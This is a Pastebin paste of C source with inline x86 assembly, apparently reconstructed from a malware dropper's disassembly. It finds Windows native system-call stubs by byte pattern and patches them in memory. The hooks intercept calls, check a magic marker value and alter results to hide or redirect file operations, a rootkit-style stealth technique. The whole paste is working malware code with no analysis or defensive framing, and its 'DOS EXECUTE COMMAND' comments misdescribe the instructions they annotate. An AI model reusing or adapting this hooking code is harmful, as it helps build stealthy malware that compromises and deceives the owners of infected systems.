Advertisement
FlyFar

dropper_AssemblyBlock2.c

Feb 19th, 2023
490
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.15 KB | Cybersecurity | 1 0
  1. #include "9. AssemblyBlock2.h"
  2.  
  3. /*************************************************************************
  4. ** ASSEMBLY BLOCK 2.                                                    **
  5. *************************************************************************/
  6.  
  7. __declspec(naked) void __ASM_REF_3(void)
  8. {
  9.     __asm
  10.     {
  11.         pop     edx
  12.         test    dl, dl
  13.         jz      short __REF_0
  14.         dec     dl
  15.         jz      __REF_7
  16.         dec     dl
  17.         jz      __REF_11
  18.         dec     dl
  19.         jz      __REF_15
  20.         dec     dl
  21.         jz      __REF_21
  22.         jmp     __REF_27
  23.  
  24.     __REF_0:
  25.         call    __ASM_REF_4
  26.         test    edx, edx
  27.         jz      short __REF_2
  28.         push    edx
  29.         mov     edx, [edx+8]
  30.         cmp     edx, [esp+8]
  31.         jnz     short __REF_1
  32.         mov     dword ptr [esp+30h], 40h
  33.  
  34.     __REF_1:
  35.         pop     edx
  36.  
  37.     __REF_2:
  38.         push    edx
  39.         call    __ASM_REF_5
  40.         cmp     dword ptr [edx+4], 0
  41.         jnz     short __REF_3
  42.         pop     edx
  43.         lea     edx, [esp+8]
  44.         int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
  45.                                 ; DS:SI -> counted CR-terminated command string
  46.         jmp     short __REF_4
  47.  
  48.     __REF_3:
  49.         pop     edx
  50.         lea     edx, [esp+8]
  51.         call    dword ptr fs:0C0h ; call    large dword ptr fs:0C0h
  52.  
  53.     __REF_4:
  54.         test    eax, eax
  55.         jnz     short __REF_6
  56.         call    __ASM_REF_4
  57.         test    edx, edx
  58.         jz      short __REF_5
  59.         mov     edx, [edx+8]
  60.         cmp     edx, [esp+8]
  61.         jnz     short __REF_5
  62.         mov     edx, [esp+16]
  63.         push    edx
  64.         call    __ASM_REF_4
  65.         mov     edx, [edx+0Ch]
  66.         call    edx
  67.  
  68.     __REF_5:
  69.         xor     eax, eax
  70.  
  71.     __REF_6:
  72.         retn
  73.  
  74.     __REF_7:
  75.         cmp     dword ptr [esp+20h], 0AE1982AEh
  76.         jnz     short __REF_8
  77.         call    __ASM_REF_4
  78.         test    edx, edx
  79.         jz      short __REF_8
  80.         mov     edx, [edx+8]
  81.         mov     eax, [esp+8]
  82.         mov     [eax], edx
  83.         xor     eax, eax
  84.         retn
  85.  
  86.     __REF_8:
  87.         push    edx
  88.         call    __ASM_REF_5
  89.         cmp     dword ptr [edx+4], 0
  90.         jnz     short __REF_9
  91.         pop     edx
  92.         lea     edx, [esp+8]
  93.         int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
  94.                                 ; DS:SI -> counted CR-terminated command string
  95.  
  96.         jmp     short __REF_10
  97.  
  98.     __REF_9:
  99.         pop     edx
  100.         lea     edx, [esp+8]
  101.         call    dword ptr fs:0C0h ; call    large dword ptr fs:0C0h
  102.  
  103.     __REF_10:
  104.         retn
  105.  
  106.     __REF_11:
  107.         call    __ASM_REF_4
  108.         test    edx, edx
  109.         jz      short __REF_12
  110.         push    eax
  111.         push    edi
  112.         mov     edi, [esp+18h]
  113.         call    __ASM_REF_6
  114.         mov     edx, eax
  115.         pop     edi
  116.         pop     eax
  117.         test    edx, edx
  118.         jz      short __REF_12
  119.         mov     eax, [esp+8]
  120.         mov     dword ptr [eax], 0AE1982AEh
  121.         xor     eax, eax
  122.         retn
  123.  
  124.     __REF_12:
  125.         push    edx
  126.         call    __ASM_REF_5
  127.         cmp     dword ptr [edx+4], 0
  128.         jnz     short __REF_13
  129.         pop     edx
  130.         lea     edx, [esp+8]
  131.         int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
  132.                                 ; DS:SI -> counted CR-terminated command string
  133.         jmp     short __REF_14
  134.  
  135.     __REF_13:
  136.         pop     edx
  137.         lea     edx, [esp+8]
  138.         call    dword ptr fs:0C0h ; call    large dword ptr fs:0C0h
  139.  
  140.     __REF_14:
  141.         retn
  142.  
  143.     __REF_15:
  144.         cmp     [esp+8], 0AE1982AEh
  145.         jnz     short __REF_16
  146.         xor     eax, eax
  147.         retn
  148.  
  149.     __REF_16:
  150.         call    __ASM_REF_4
  151.         test    edx, edx
  152.         jz      short __REF_18
  153.         push    eax
  154.         mov     eax, [esp+8]
  155.         cmp     [edx+8], eax
  156.         jnz     short __REF_17
  157.         mov     dword ptr [edx+8], 0
  158.  
  159.     __REF_17:
  160.         pop     eax
  161.  
  162.     __REF_18:
  163.         push    edx
  164.         call    __ASM_REF_5
  165.         cmp     dword ptr [edx+4], 0
  166.         jnz     short __REF_19
  167.         pop     edx
  168.         lea     edx, [esp+8]
  169.         int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
  170.                                 ; DS:SI -> counted CR-terminated command string
  171.         jmp     short __REF_20
  172.  
  173.     __REF_19:
  174.         pop     edx
  175.         lea     edx, [esp+8]
  176.         call    dword ptr fs:0C0h ; call    large dword ptr fs:0C0h
  177.  
  178.     __REF_20:
  179.         retn
  180.  
  181.     __REF_21:
  182.         call    __ASM_REF_4
  183.         test    edx, edx
  184.         jz      short __REF_24
  185.         push    eax
  186.         push    edx
  187.         push    edi
  188.         mov     edi, [esp+14h]
  189.         call    __ASM_REF_6
  190.         pop     edi
  191.         pop     edx
  192.         test    eax, eax
  193.         jz      short __REF_23
  194.         pop     eax
  195.         test    edx, edx
  196.         jz      short __REF_22
  197.         mov     edx, [esp+0Ch]
  198.         mov     dword ptr [edx+20h], 80h
  199.  
  200.     __REF_22:
  201.         xor     eax, eax
  202.         retn
  203.  
  204.     __REF_23:
  205.         pop     eax
  206.  
  207.     __REF_24:
  208.         push    edx
  209.         call    __ASM_REF_5
  210.         cmp     dword ptr [edx+4], 0
  211.         jnz     short __REF_25
  212.         pop     edx
  213.         lea     edx, [esp+8]
  214.         int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
  215.                                 ; DS:SI -> counted CR-terminated command string
  216.         jmp     short __REF_26
  217.  
  218.     __REF_25:
  219.         pop     edx
  220.         lea     edx, [esp+8]
  221.         call    dword ptr fs:0C0h ; call    large dword ptr fs:0C0h
  222.  
  223.     __REF_26:
  224.         retn
  225.  
  226.     __REF_27:
  227.         call    __ASM_REF_4
  228.         test    edx, edx
  229.         push    edx
  230.         jz      short __REF_30
  231.         mov     edx, [edx+8]
  232.         cmp     edx, [esp+8]
  233.         jnz     short __REF_30
  234.         cmp     dword ptr [esp+10h], 1
  235.         jnz     short __REF_30
  236.         cmp     dword ptr [esp+18h], 30h
  237.         jl      short __REF_29
  238.         pop     edx
  239.         push    ecx
  240.         push    esi
  241.         push    edi
  242.         lea     esi, [edx+50h]
  243.         mov     edi, [esp+1Ch]
  244.         mov     ecx, 30h
  245.         rep movsb
  246.         pop     edi
  247.         pop     esi
  248.         pop     ecx
  249.         mov     eax, [esp+18h]
  250.         cmp     eax, 0
  251.         jz      short __REF_28
  252.         mov     dword ptr [eax], 30h
  253.  
  254.     __REF_28:
  255.         xor     eax, eax
  256.         retn
  257.  
  258.     __REF_29:
  259.         pop     edx
  260.         mov     eax, 0C000000Dh
  261.         retn
  262.  
  263.     __REF_30:
  264.         pop     edx
  265.         push    edx
  266.         call    __ASM_REF_5
  267.         cmp     dword ptr [edx+4], 0
  268.         jnz     short __REF_31
  269.         pop     edx
  270.         lea     edx, [esp+8]
  271.         int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
  272.                                 ; DS:SI -> counted CR-terminated command string
  273.         jmp     short __REF_32
  274.  
  275.     __REF_31:
  276.         pop     edx
  277.         lea     edx, [esp+8]
  278.         call    dword ptr fs:0C0h ; call    large dword ptr fs:0C0h
  279.  
  280.     __REF_32:
  281.         retn
  282.     }
  283. }
  284.  
  285. __declspec(naked) void __ASM_REF_4(void)
  286. {
  287.     __asm
  288.     {
  289.         push    eax
  290.         push    esi
  291.         push    edi
  292.         push    ecx
  293.         push    edx
  294.         sub     esp, 1Ch
  295.         mov     eax, esp
  296.         push    1Ch
  297.         push    eax
  298.         push    esp
  299.         call    __ASM_REF_5
  300.         call    dword ptr [edx+0Ch]
  301.         mov     edi, [esp]
  302.         add     edi, [esp+0Ch]
  303.         add     esp, 1Ch
  304.         pop     edx
  305.         pop     ecx
  306.         mov     esi, esp
  307.  
  308.     __REF_0:
  309.         cmp     esi, edi
  310.         jnb     short __REF_1
  311.         lodsd
  312.         xor     eax, 0AE1979DDh
  313.         lea     eax, [eax+4]
  314.         cmp     eax, esi
  315.         jnz     short __REF_0
  316.         lea     eax, [esi-4]
  317.         jmp     short __REF_2
  318.  
  319.     __REF_1:
  320.         xor     eax, eax
  321.  
  322.     __REF_2:
  323.         mov     edx, eax
  324.         pop     edi
  325.         pop     esi
  326.         pop     eax
  327.         retn
  328.     }
  329. }
  330.  
  331. __declspec(naked) void __ASM_REF_5(void)
  332. {
  333.     __asm
  334.     {
  335.         call    $+5
  336.         pop     edx
  337.         add     edx, 124h
  338.         retn
  339.     }
  340. }
  341.  
  342. __declspec(naked) void __ASM_REF_6(void)
  343. {
  344.     __asm
  345.     {
  346.         push    ebx
  347.         push    ecx
  348.         push    edx
  349.         push    edi
  350.         cmp     edi, 0
  351.         jz      short __REF_1
  352.         mov     edi, [edi+8]
  353.         cmp     edi, 0
  354.         jz      short __REF_1
  355.         movzx   ebx, word ptr [edi]
  356.         mov     edi, [edi+4]
  357.         lea     ebx, [edi+ebx+2]
  358.  
  359.     __REF_0:
  360.         lea     ebx, [ebx-2]
  361.         cmp     ebx, edi
  362.         jle     short __REF_1
  363.         cmp     word ptr [ebx-2], 5Ch
  364.         jnz     short __REF_0
  365.         push    edx
  366.         push    ebx
  367.         lea     ebx, [edx+10h]
  368.         push    ebx
  369.         call    __ASM_REF_5
  370.         call    dword ptr [edx+8]
  371.         pop     edx
  372.         test    eax, eax
  373.         jnz     short __REF_1
  374.         inc     eax
  375.         jmp     short __REF_2
  376.  
  377.     __REF_1:
  378.         xor     eax, eax
  379.  
  380.     __REF_2:
  381.         pop     edi
  382.         pop     edx
  383.         pop     ecx
  384.         pop     ebx
  385.         retn
  386.     }
  387. }
  388.  
  389. __declspec(naked) void __ASM_REF_7(void)
  390. {
  391.     __asm
  392.     {
  393.         push    eax
  394.         push    ecx
  395.         push    edx
  396.         call    __ASM_REF_5
  397.         mov     dword ptr [edx+4], 0
  398.         push    dword ptr [edx]
  399.         call    dword ptr [edx+14h]
  400.         pop     ecx
  401.         test    eax, eax
  402.         jz      __REF_3
  403.         push    eax
  404.         push    ecx
  405.         push    eax
  406.         push    esp
  407.         push    80h
  408.         push    18h
  409.         push    eax
  410.         call    __ASM_REF_5
  411.         call    dword ptr [edx+10h]
  412.         pop     edx
  413.         mov     edx, eax
  414.         pop     ecx
  415.         pop     eax
  416.         test    edx, edx
  417.         jz      __REF_3
  418.         cmp     byte ptr [eax], 0B8h
  419.         jnz     __REF_3
  420.         cmp     byte ptr [eax+5], 0BAh
  421.         jz      short __REF_1
  422.         cmp     dword ptr [eax+5], 424548Dh
  423.         jnz     short __REF_0
  424.         cmp     dword ptr [eax+8], 0C22ECD04h
  425.         jnz     short __REF_3
  426.         sub     ecx, eax
  427.         sub     ecx, 0Ah
  428.         mov     [eax+6], ecx
  429.         mov     byte ptr [eax+5], 0E8h
  430.         mov     byte ptr [eax+0Ah], 90h
  431.         jmp     short __REF_3
  432.  
  433.     __REF_0:
  434.         cmp     dword ptr [eax+7], 424548Dh
  435.         jnz     short __REF_3
  436.         cmp     dword ptr [eax+0Bh], 0C015FF64h
  437.         jnz     short __REF_3
  438.         cmp     dword ptr [eax+0Fh], 0C2000000h
  439.         jnz     short __REF_3
  440.         push    edx
  441.         call    __ASM_REF_5
  442.         mov     dword ptr [edx+4], 1
  443.         pop     edx
  444.         push    esi
  445.         push    eax
  446.         push    ebx
  447.         push    ecx
  448.         push    edx
  449.         mov     esi, eax
  450.         mov     eax, [esi+0Ah]
  451.         mov     edx, [esi+0Eh]
  452.         sub     ecx, esi
  453.         sub     ecx, 12h
  454.         mov     ebx, 0E8909004h
  455.         lock cmpxchg8b qword ptr [esi+0Ah]
  456.         pop     edx
  457.         pop     ecx
  458.         pop     ebx
  459.         pop     eax
  460.         pop     esi
  461.         jmp     short __REF_3
  462.  
  463.     __REF_1:
  464.         cmp     word ptr [eax+0Ah], 0D2FFh
  465.         jz      short __REF_2
  466.         cmp     word ptr [eax+0Ah], 12FFh
  467.         jnz     short __REF_3
  468.         mov     byte ptr [eax+0Bh], 0D2h
  469.  
  470.     __REF_2:
  471.         mov     [eax+6], ecx
  472.  
  473.     __REF_3:
  474.         pop     eax
  475.         retn
  476.     }
  477. }
  478.  
  479. #pragma code_seg(".text")
  480. __declspec(allocate(".text")) HARDCODED_ADDRESSES g_hardAddrs = {0};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement